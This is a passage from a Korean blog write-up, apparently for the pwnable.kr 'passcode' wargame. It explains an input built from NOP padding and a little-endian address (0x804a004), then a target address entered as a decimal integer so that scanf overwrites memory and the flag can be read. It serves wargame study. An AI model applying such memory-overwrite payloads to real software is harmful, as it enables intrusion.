NOP에 해당하는 \x90이 96개 들어갔습니당, 그리고 리틀엔디언 방식으로 주소를 때려박아야하니깐 한바이트씩 역순으로!

0x804a004 -> \x04\xa0\x04\x08이 되는거고여


그리고 scanf에서 포맷이 %d 즉, 정수형으로 받고있기 때문에~

0x080485e3을 십진수로 변환해준 134514147을 넣어줬어여


근데 뭐 이상한거 없으신가여? 제가 초보자여서 그런지 여기서 헤맸어여 ㅠㅠ

name[100]에 100바이트가 넘는 문자열을 입력하면 오버플로우가 안나나? 하는 생각을 했더랬져


제가 혹시 위에서 얘기했던 %100s 기억나시나요? 저렇게 사이즈를 정해줌으로써 딱 100바이트만 입력받고 100바이트이상 넘치는 문자열은

다음 인풋으로 넘어가더라고여..ㅎ;;;


그래서 정리해보면~


처음 이름을 입력하는 곳에 NOP + 0x804a004까지 들어가고 그 다음 passcode1을 입력하려고했던 로직에

0x080485e3이 입력이 되서 플래그를 읽을 수 있었습니다~







'Study > Pwnable' 카테고리의 다른 글

[HITCON Training] lab4 / return to library  (0) 2017.11.29
[HITCON Training] lab2 / shellcraft  (0) 2017.11.28
NX(No eXcutable) / ROP  (1) 2017.09.29
pwnable.kr / input / pwntools  (0) 2017.08.01
PEDA / pwnable.kr bof문제  (0) 2017.07.12

+ Recent posts